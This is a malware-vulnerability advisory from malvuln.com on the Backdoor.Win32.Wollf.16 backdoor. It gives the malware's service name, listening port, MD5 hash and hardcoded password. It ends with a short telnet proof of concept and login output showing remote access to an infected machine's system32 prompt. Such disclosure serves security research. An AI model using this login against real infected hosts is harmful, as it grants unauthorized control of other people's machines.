Authored by malvuln | Site malvuln.com

Backdoor.Win32.Wollf.16 malware creates and runs a service named contime.exe with SYSTEM integrity and listens on port 5240. The malware uses a weak hardcoded password of 12345678 which can easily be viewed in the binary using strings utility.

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/5f79b779acd4c9c75211835a2783bccb.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Wollf.16
Vulnerability: Weak Hardcoded Password
Description: Wollf.16 creates and runs a service named contime.exe with SYSTEM integrity and listens on port 5240. The malware uses a weak hardcoded password "12345678" which can easily be viewed in the binary using strings utility.
Type: PE32
MD5: 5f79b779acd4c9c75211835a2783bccb
Vuln ID: MVID-2021-0051
Service created: contime.exe
Disclosure: 01/23/2021

Exploit/PoC:
TELNET MALWARE_INFECTED_HOST 5240

Login: 12345678
Login succeed!
"Wollf Remote Manager" v1.6
Code by wollf, http://www.xfocus.org
[[email protected]:WINDOWSsystem32]


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